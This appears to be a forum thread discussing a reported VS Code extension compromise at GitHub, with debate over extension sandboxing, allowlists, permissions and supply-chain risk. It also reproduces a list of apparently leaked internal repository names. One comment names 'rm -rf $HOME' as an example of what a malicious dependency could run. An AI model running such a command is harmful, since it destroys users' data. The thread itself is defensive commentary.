Like, I use a VSCode fork at work, but the enforced extensions store backend is based on an allowlist and extensions need reviewing to be available there.
Big tech can be suprisingly not locked down!
The dreaded "process" to get a single tool registered, working and allowed, is the reason a company is slow, dysfunctional and usually failing at a task.
The security tax and speeding tickets on everything are a luxury destroying much value.
The friction they should have probably had here is: did this employee need access to 3,800 internal repos?
I'm with the poster above in believing restricting what you can install makes a lot of things more difficult, but if you're going to take the risk you should be limiting the blast radius.
The problem with controlled environments is that even when done sensibly by people with good intentions they do slow things down and a lot of orgs will decide the trade off isn’t worth that.
I’ve worked for companies that did have much more controlled environments but given everything is made of a thousand packages these days and those packages have CVE’s and you do need to patch doing it after the fact is a recipe for paralysis.
Finally I have decided to start using Zed, which isn’t perfect on the security front, but much better IMHO. The combination of WASM extensions, and the ability to put language servers, etc, in dev-containers seems like a great step forward.
I hope Zed continues to improve their extension and language server security model. Actually I hope VSCode does too, but honestly, I am not optimistic.
[1] https://www.reddit.com/r/programming/comments/1tapmvi/mass_n...
Software that is mostly an electron app. I start using my browser for a web edition, or run it in a container/sandbox!
On my machines, the "languages"/"node" directories for zed are empty and owned by root and the lsp servers are provided by nix. But you could also pin known good versions with npm.
As far as I know Vscode has no equivalent way to do this.
Hopefully the system matures with time, but at least they're taking the problem seriously.
I'm guessing you're referring to https://coder.com/docs/code-server ?
I just don't use VSCode and I discourage its use in any environment in which I have to work. It has already been demonstrated that it is a major security hole - not just through the public extensions, but also in terms of the telemetry data transmitted back to Microsoft in order that they can invest millions in it and yet charge nothing for it...
The system is immature but it's directionally correct.
The best case for Microsoft software I hope for is that they do only some minor UI cosmetic changes, but even that often goes catastrophically wrong.
To be honest I doubt there's much that they can do. Many many language servers cannot run in WASM, or it would be super hard to compile them to WASM. So Zed either has to allow running arbitrary binaries like VSCode, or accept that they're going to have really poor extension support.
I should be able to limit what binaries extensions have access to though.
I wonder how many other secrets and tokens have been stolen, just waiting to be abused to publish a malicious version of.. something.
IMO, the problem is [1] that actually rotation all secrets just because you might have installed a compromised packe is a huuge PITA. So it's tempting to take it lightly and hope for the best. And even if you really try, it's easy to miss one.
1: in addition to "running code from whereever" with little sandboxing
Am I blind or did they never say which extension that was?
I heared zed sandboxes extensions. I should have a look at that editor some day.
Also, modifying my code is far better than just launching, stealing everything silently, and having full control over my system. Needing to inject some sort of malware into an arbitrary project is way better.
And even if this exists, and you are sandboxed, with all guardrails and such, if you trust an extension that later gets compromised, you'd get the same sadness. It's the problems with trusting trust all over again...
Maybe sandboxing, plus freezing updates for at least a week, then on each update reviewing the permissions for each extension, then reviewing the extension itself for compromises. Something that should be done not by the user but by the supply chain itself.
This is how browsers have been doing things for 20 years, it's ridiculous that a company worth billions isn't doing it.
https://developer.chrome.com/docs/extensions/reference/permi... https://support.mozilla.org/en-US/kb/manage-optional-permiss...
Funny / Odd Names
old-man-yells-at extremely-verbose-application mildly-sentient-scripts awful-git-machine awful-archive-machine slop-trap yaktriage yakety-yak what-in-the-shell gh-hell amen afk beer coffee
Octo-Themed
octoqueer octogatos octokeg octopets-prototype octoquarium octodex force-directed-octocat
Animal / Random Names
kittens Cats-of-GitHub accesscats-and-friends adacats-and-friends suave-capybaras nifty-armadillos cuddly-broccoli torched-marshmallows
AI / Experimental
reflect-gpt reflect-gpt-reloaded experimental-copilot-server agentic-memory-playground codeml-autofix copilot-mission-control llm-assist snippet-gpt meeting-summarizer
Internal Culture / Tools
no-meeting-friday-reminder engineering-deadlines engineering-operations-playground forced-deploys four-nines-alerts incident-responder oncall-issue-creator alert-routing-verifier dependency-audit availability-risk-register
Misc / Interesting
the-after-party pong gameoff github-games caption-this haikus-for-codespaces this-day-in-github-history
We aren't talking about a single dev developing an IDE on their spare time. We are talking about a company with expenses and revenues in billions. They could develop and support replacement for every single extension in the vscode marketplace (most are redundants) and it would still be an invisible blip in their financial numbers.
* There's a line of "blessed plugins" that your own company supports, maintains and guarantees, and everything else is considered "not trusted" or
* Plugins have explicit permissions - like phone apps do. "This plugin can make external calls/write to the filesystem inside a dedicated folder/read and set cookies". And then you are in charge of enforcing that with the strongest sandbox you can make.
Plugin ecosystems without these rules are just the wild west.
I used to work in security auditing, and it makes me feel pretty jaded to think of the gigabytes upon gigabytes of random stuff that just gets pulled in from everywhere in IDEs, package managers, build pipelines and container images.
At least back then there was still a chance to read a significant part of the code and find problems before they found you.
Almost no manager will sign-off spending time on building stuff in-house if its available "for free".
This is also in no way a new thing. How much code was written in notepad++ in the '00ies? Did anyone bother to check if the plugins did sth. malicious? We also used some weird closed-src "addon" for the Nullsoft installer to get a product out of the door, dont remember what the problem was exactly....
Like Wordpress plugins previously that'll work for now but we're now on the trajectory of relearning that same lesson, because people are automating discovery and exploitation of these extensions and plugins and whatnot around text editors and MCP and so on.
Though I suspect we'll first see a torrent of exploitation similar to what was done to Wordpress instances, and then a change of behaviour, because as you allude to, the people with influence didn't learn from previous experiences with similar technologies.
Aaand this is why AI is taking our jobs and we all rightfully deserve to be laid off. This utter lack of risk awareness and care for quality is what created the need for autonomous agents to dig through and build upon man-made slop.
Honestly, I find it rich that we’re the ones who think that AI is the one that’s producing slop. Give any agent clear harnesses and it’ll produce better code than a human would close to 100% of the time. That’s still as indeterministic as the way you used “most of the time”, but the deviation tends to be smaller and the quality and rigor is much higher.
Some big corps resort to a different tactics: they ONLY allow in-house tools. IDEs, communication tools, everything you need on a daily basis, they make in-house tools for that. It costs a lot of money but they care about security.
Actually happened at one of the largest banks in the world when I was contracting there. And that was mostly just a license/legal audit, not even a full source/security audit.
I am telling people to wear helmets when they drive a car, this would save hundreds of thousands of lives every year in the world, but somehow I cannot convince them.
Turns out no amount of communication to the team matters when you set Copilot to autopilot and it’s not aware of the compromised packages.
I suspect that’s going to be a trend.
Convenience, and as someone who has been on the other side of the fence his whole career (sysadmin + security), dev != tech savvy. Even during my days in the help desk, the devs were some of the most difficult users to support. Being good at developing software doesn't always equate to being good at operating computer systems, especially in an enterprise environment.
It used to be, dev workstations and environments were fully IT controlled and curated. Then everyone moaned and complained about not having local admin access to their machine (I get it, it sucks and is annoying, but there is a reason), and then devtools started dumping themselves in %APPDATA& and user directories to bypass the admin requirement for installs. And now extensions are in everything, and IT has no tools to control it.
Thats enough to see how much AI crowd cares about security.
The problem is really how the very popular recent things on top have been built: Docker, npm, pip.
I personally do not have docker, npm or pip installed on my workstation because I know that any `xxx install` is almost the equivalent of downloading and executing a `.exe` on a Windows 95 back in the days.
Apparently what happened here is a Github employee VScode downloaded a compromised extension and it ran wild in his $HOME (npm, another Microsoft gem is involved here if I remember correctly).
How was the OS supposed to prevent that?
The idea is that a well-made, modern desktop operating system would extremely limit an executable's access to user files and provide intuitive tools to allow access. Most applications shouldn't even need any access beyond their own configuration directory and maybe something like ~/Document/Source Code for source code editors and IDE. It shouldn't need to access ~/Pictures, ~/Videos, ~/Downloads, etc.
The problem is that Windows would rather sell you OneDrive, and Linux is very far from a well-made modern desktop OS, so a transitive dependency on a linter installed by a VS Code plugin can rm -rf $HOME, I guess.
It would be nice to have it sorted out somehow. Actually Snap is an interesting example of something done in that regard.
Linux users love to say that "fragmentation is good" but they also depend fully on root, sudo, users/groups, and RWX file permissions. Those are "standards" enforced by having only 1 way of doing something, the kernel.
But now with PC, you are root on your local machine, and some abuse that power without even knowing what it entails. You could easily sandbox npm, by creating a user for your js dev persona. But that’s not convenient, so no one does it.
It's useful for apps that should not have any outbound networking
But fundamentally I don't think it moves the needle that much on the bigger picture
I keep reading about vscode extensions going malicious and I feel the same way as I did when I was reading (and still am) about all the malicious browser extensions. I don't understand the lack of security around "extensions" in all sectors..
What I ended up changing after contemplating this matter: all my MCP servers are scripts from my repository and not npm packages. All the information about the scopes these servers can use is contained explicitly in my context file (certain directories, certain tools). There's nothing untrusted reaching my filesystem/tokens.
There's the same supply chain problem in VSCode extensions as there is with the MCP servers. Very few companies that audit their extensions started auditing their MCP servers.
It is the largest project I have ever build and I code since 25 years.
I was just not satisfied with the agentic tools out there, nor with the CI / build infrastructure. Nix is nice, but the way packages are build / signed is just half way to perfect.
We can be lucky that the github hack did not infect the CI infrastructure. Imagine you infect the compilers in github CI to add a sleeper worm that does nothing for a month...
Only if you have multiple parties, building the same software with bootstrapped compilers and every artifact is hash compared, you can be sure it is legit
Bad enough that the employee was able to install arbitrary executable code without review from anyone, but also why did they have access to 3,800 repos? Are they working on all of them right now? Are they pulling in code from all of them into their current projects?
People like to rail against traditional IT staffs and departments, especially the startup crowd that lives around here but there is a reason you put up controls and reviews and don't just let everyone have admin on their laptops (yes, I get that this wasn't necessarily abuse of admin on the employee's laptop)